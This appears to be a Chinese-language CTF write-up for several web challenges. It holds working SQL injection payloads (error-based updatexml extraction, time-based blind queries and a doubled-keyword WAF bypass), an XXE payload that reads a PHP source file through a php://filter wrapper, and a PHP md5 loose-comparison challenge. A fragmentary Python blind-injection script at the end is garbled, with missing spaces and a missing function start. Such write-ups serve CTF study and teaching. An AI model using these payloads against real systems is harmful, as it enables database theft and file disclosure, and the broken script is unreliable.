You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 This is a very sql!!!
直接可以报错:
union select order
联合好像不行了! 报错和盲注应该可以!
直接梭哈 1' AND 9666=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x637466),1,1))>48),SLEEP(5),9666)--
http://9046373f-1406-40f5-874f-14c2443a64cb.ctf.moonback.xyz:8001/?id=1' and sleep(5) -- -
http://9046373f-1406-40f5-874f-14c2443a64cb.ctf.moonback.xyz:8001/?id= ' and updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) from information_schema.tables where table_schema like "ctf"),0x7e),1); %23
emails,fl4g,flag,users~
updatexml(1,concat(0x7e,(seleselectct group_concat(0x23,flag,0x23) from fl4g),0x7e),1);
flag{a27cfdeb-b16c-4ae1-a4f
updatexml(1,concat(0x7e,right((seleselectct group_concat(0x23,flag,0x23) from fl4g),20),0x7e),1); -- - a4f9-a3d75403648b} flag{a27cfdeb-b16c-4ae1-a4f9-a3d75403648b}
考点:sql注入! 双写绕过waf
后台可能是替换!不是正则!
just_xxe
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "pHp://FilTer/convert.base64-encode/resource=/var/www/html/flag.php" >]> <info><username>&xxe;</username><password>admin1122</password></info>
考点:XXE + 为协议
ezpass
<?php highlight_file(__FILE__); error_reporting(0); if (isset($_GET['name'])) { $str = $_GET['name']; is_numeric($str)?die("no numeber"):NULL; if($str==521){ if (isset($_POST['wsl']) andisset($_POST['pp'])) { if ($_POST['wsl'] === $_POST['pp']) echo"wsl can not be pangpang."; elseif(md5($_POST['wsl']) == md5($_POST['pp'])) echo(shell_exec( 'cat /flag' )); else echo"fail!"; } } } ?>
data = {"id":base64.b64encode(sql.encode('utf-8'))} r = requests.get(url,params=data) print (r.url) if r.status_code == 429:
print('too fast')
time.sleep(4)
if"I will tell you what a real hacker is!"in r.text: res = 1 else: res = 0 return res defexp(): global flag for i in range(1,10000) : print(i,':') low = 31 high = 127 while low <= high : mid = (low + high) // 2 res = payload(i,mid) if res : low = mid + 1 else : high = mid - 1
f = int((low + high + 1)) // 2 if (f == 127or f == 31): break # print (f) flag += chr(f) print(flag) exp() print(flag)